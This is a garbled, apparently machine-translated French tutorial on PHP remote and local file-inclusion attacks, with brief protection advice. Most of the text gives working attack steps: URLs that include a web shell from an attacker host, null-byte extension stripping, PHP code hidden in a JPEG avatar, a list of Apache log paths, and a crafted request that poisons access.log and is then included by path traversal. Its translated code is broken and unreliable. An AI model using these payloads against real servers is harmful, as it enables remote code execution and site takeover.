PHP-inclure et comment protéger
introduction
Mondial comprennent la vulnérabilité
Le plus grave de ces vulnérabilités du Web, mais malheureusement, ou heureusement trouvé aujourd'hui extrêmement rare. Pour attaquer , il est nécessaire, ce qui serait allow_url_include fonction a été activée, à savoir "On"La vulnérabilité permet à un attaquant d'exécuter du code de serveur php arbitraire.
En PHP, il y a quatre fonctions pour inclure des fichiers dans un script PHP:
* Inclure ();
* Include_once ();
* Exiger ();
* Require_once ().
fonction Include () comprend le contenu du fichier dans le script. Prenons l'exemple de code "double" vulnérable:
<? Php if ($ _GET [ 'page' ]. '.php') { include ($ _GET [ 'page' ] '.php'.); } autre { include ($ file '.php'. ); } ?>Avec les conditions , nous vérifions si le serveur via url élément passé du tableau $ _GET [ 'page'], l'appel inclut la fonction (). En raison du fait que la valeur du tableau $ _GET [ 'page'] est pas cochée pour l'existence, avec l'aide de file_exists () fonction, un attaquant peut monter une attaque:
http://site.ru/index.php?page=http://hack.ru/shell
Sinon , nous inkluda incluons ($ file 'php.. '); Voici exactement la même situation, il suffit d'écrire le code est un peu différent. Le fichier $ variable est pas Il était certainement un début et un attaquant pourrait exécuter à distance du code php:
http://site.ru/index.php?file=http://hack.ru/shell
include_once () est pratiquement identique à include (), à une exception près: avant de mettre le fichier de programme, il vérifie si elle a déjà été activé. Si le fichier a déjà été inclus, include_once () est ignorée, et sinon - il y a un fichier d'inclusion standard. <?php
include_once( $file . '.gif' ); ?>
); <?php
include_once( $file . '.gif' ); ?>
<?php
include_once( $file . '.gif' ); ?>
Dans cet exemple, un fichier qui est téléchargé automatiquement attribué extension '.gif' Débarrassez-vous de l'extension «.gif» de deux façons:
1) si magic_quotes_gpc = Off vous pouvez utiliser le "zéro toxique" - 00% , ce qui permettra de réduire l' extension
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) , même si magic_quotes_gpc = On
http://site.ru/index.php?file=http://hack.ru/shell.php?
Exiger () est similaire à la include (), sauf un - le fichier spécifié par le paramètre require (), est inclus dans le script, indépendamment de leur emplacement require () dans le script. <?php
require( $file );
?>
<?php
require( $file );
?>
L'attaque est similaire, mais dans ce cas , l'extension ne soit pas attribué à: http://site.ru/index.php?page=http://hack.ru/shell.php
fonction require_once () charge le fichier dans le script une seule fois. <?php
require_once( $file . '.php' );
?>
<?php
require_once( $file . '.php' );
?>
L'attaque est similaire à ... Considérons maintenant une autre option inkluda. A ce moment, il est nécessaire que utilisé dans php.ini
valeur du paramètre allow_url_fopen est égal à On, qui est la valeur par défaut.
PHP Code:
<? Php $ F = fopen ( "$ file.php ", "r"); while (! feof ($ f) ) { s = fgets de $ ($ f, 255); echo $ s; } fclose ($ f); ?>En raison du fait que le fichier $ variable n'a pas encore été déterminé, l'attaquant peut effectuer une attaque:
http://site.ru/index.php?file=http://hack.ru/shell
En conséquence, on obtient à nouveau un web-shell. L'exemple suivant - utilisation readfile () fonction
<?php
readfile ( $file );
?>
<?php
readfile ( $file );
?>
Fonction Readfile () lit le fichier dont le nom est passé en paramètre, et affiche son contenu sur l'écran. En conséquence, on obtient à nouveau un web-shell:
http://site.ru/index.php?file=http://hack.ru/shell
maintenant considérer cette option: <?php
echo implode ( "" , file ( $file ));
?>
<?php
echo implode ( "" , file ( $file ));
?>
Utilisez la fonction implode (), nous combinons les éléments du tableau à une chaîne, en utilisant le fichier de fonction () obtenir le contenu d'un fichier dans un tableau. En conséquence, une fois de plus, nous avons un web-shell: http://site.ru/index.php?file=http://hack.ru/shell.php
Protection contre inkluda mondiale
Bien sûr , vous pouvez consulter le fichier d'exister en utilisant file_exists () et filtrer les caractères indésirables en utilisant str_replace (), mais je recommande d' utiliser un boîtier de commutation de conception:<? Php page globale de $; switch ($ la page) { cas '': include ( "pages / main.php") ; break; cas «index»: include ( "pages / main.php") ; break; case 'page1': include ( "pages / dossier / page1.php "); break; case 'page2': include ( "pages / dossier / page2.php "); break; par défaut: include ( "pages / hack.php") ; break; } ?>Je recommande donc de modifier le fichier php.ini:
allow_url_include = Off // Ne pas supprimer les fichiers inkluda allow_url_fopen = Off // interdire fopen pour ouvrir les liens register_globals = Off // désactiver l'initialisation des variables globales safe_mode = On // inclure safe_mode (à Hecker ne pas avoir accès au fichier / etc / passwd et comme lui) |
Local comprennent la vulnérabilité
Aucune vulnérabilité moins dangereuse dans le web. Elle permet à un attaquant de inkluda fichiers se trouvant sur un serveur. Beaucoup de nouveaux arrivants qui rencontrent cette erreur de codage web cast question, parce que je ne sais pas comment procéder et dans quelle direction à creuser. Je vais vous donner un exemple général:<?php
include( "include/$file" );
?>
<?php
include( "include/$file" );
?>
Proinkludit mondial est pas arrivé, parce que le fichier variable $ est attribué après le répertoire / include /
Que peut-on faire?
L'idéal est le cas où un site est, ou un forum ou une autre forme, qui peut être utilisé pour télécharger un fichier toute extension c.
La question se pose - pourquoi avec une extension quelconque? Prenons par exemple un site fictif où il est possible de télécharger des avatars à travers le forum. Le forum est un script qui vérifie - si l'utilisateur est effectivement téléchargé la photo? Ouvrez la peinture et de garder une image par exemple en format jpg. Ensuite , ouvrez son ordinateur portable, puis d' écrire l'image de code < ? Php include ( "http://hack.ru/shell.php") ?; ?> En conséquence, nous obtenons environ l'image suivante:
yaShyaa JFIF `` Yay C $. "# (7) 01 444 '9 = 82 <C .342yaY 2! ! 222222222222222222222222222222222222222222222 22222yaA 6 6 "poison Yad μ}! 1A Qa "q 2Ѓ'Ў # B ± B Rav $ 3br, % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ "... † ‡ € ‰ S'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · ё№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD Yad μ w! 1 AQ aq "2Ѓ B'Ў ± B # 3RR Brs 4b $% à & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ "... † ‡ € ‰ S'" "• - ~ ™ љўЈ¤Ґ | §Ё © ЄІіґμ¶ · zhziyktufhtschshschya ё№єVGDEZhZIYKTUFHTsChShSchvgde? ch (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ўЂ (ЎЂ? Crate <Php include ( "http://hack.ru/shell.php") ?; ?>Maintenant, vous pouvez télécharger une image sur le forum et il sera perçu par elle comme une image

Revenons à la question de l'expansion. Pourquoi nous situons-nous quelqu'un? Le fait que la fonction include ()
charge le code à partir d'un fichier dans le fichier exécutable. Voici un exemple:
http://www.site.com/index.php?include=../forum/images/shell.jpg
En conséquence, dans le fichier index.php, le code <? php include ( "http://hack.ru/ shell.php ");
?>
logs apatcha
Comme on le sait apache conserve un fichier journal httpd-access.log et httpd-error.log et toutes les demandesnaturellement connecté et écrit dans les fichiers appropriés. Voici un échantillon de leur emplacement:
/logs/error.log /logs/access.log / Logs / error_log / Logs / access_log / Var / log / error_log / Var / log / access_log /var/log/error.log /var/log/access.log / Var / www / logs / error_log /var/www/logs/error.log / Var / www / logs / access_log /var/www/logs/access.log / Var / log / apache / error_log /var/log/apache/error.log / Var / log / apache / access_log /var/log/apache/access.log /var/log/httpd/error.log /var/log/httpd/access.log / Var / log / httpd / error_log / Var / log / httpd / access_log /apache/logs/error.log /apache/logs/access.log / Apache / logs / error_log / Apache / logs / access_log / Usr / apache / logs / error_log / local /usr/local/apache/logs/error.log / Usr / apache / logs / access_log / local /usr/local/apache/logs/access.log / Accueil / www / logs / error_log /home/www/logs/error.log / Accueil / www / logs / access_log /home/www/logs/access.logJe vais vous donner un exemple à lokalhoste, je pense que beaucoup seront plus claires. Avec le programme InetCrack j'envoie un paquet de ce contenu:
GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
paquet de titres est enregistrée dans les journaux apatcha situé à l'adresse: Z:\usr\local\apache\logs\access.log
\ logs \ access.log Ie est une telle ligne est écrite dans le fichier dont le nom se termine: 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
?; HTTP (" http://hack.ru/shell.php ")> 127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414
Je pense que l'essence est claire. Il reste son proinkludit: http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log
/ .. / .. / usr / local / apache / logs / access.log? Et obtenir un web-shell 
Protection contre inkluda locale
Voici un petit exemple Comment protéger en toute sécurité:<? Php
fonction stripslashes_for_array (& $ array)
{
reset ($ array);
while (list ($ key, $ val) = chaque ($ array))
{
if (is_string ($ val)) $ array [$ key] = stripslashes ($ val);
elseif (is_array ($ val)) $ array [$ key] = stripslashes_for_array ($ val);
}
retourner $ array;
}
if (! get_magic_quotes_gpc ())
{
stripslashes_for_array ($ _POST);
stripslashes_for_array ($ _GET);
}
if (isset ($ _GET [ ' fichier'])) $ file = $ _GET [ 'fichier'];
autre
{
if (isset ($ _POST [ ' fichier'])) $ file = $ _POST [ 'fichier']; $ file d' autre = ''; } $ File = str_replace ( '/' , '', $ file); $ File = str_replace ( '' , $ file ''.); if (! file_exists ( "include" . '/'. $ file. '.php') || $ file 'index' ==) { $ File = 'nouvelles'; } include ( "inclure" '/' $ file '.php' ...); ?>
Et donc, ce qui se passe alors? Chaque élément est vérifié stripslashes de fonction (). Il tue backslash. Vérifiez ensuite l'installation ou non la valeur de l'élément de tableau. Otfiltrovuem caractères non valides ( '/', '.') Fonction str_replace (). Si le fichier n'existe pas (vérifier en utilisant les file_exists () fonction) - attribuer une valeur de «nouvelles» de la variable = fichier $. Dans d'autres cas (lorsque le fichier existe) inkluda il.
Commentaires
Commentant, gardez à l' esprit que le contenu et le ton de vos messages peuvent blesser les sentiments des gens réels, montrer du respect et de la tolérance à ses interlocuteurs, même si vous ne partagez pas leur avis, votre comportement en termes de liberté d'expression et de l' anonymat offert par Internet, est en train de changer non seulement virtuel, mais dans le monde réel. Tous les commentaires sont cachés à l'index, le contrôle anti - spam.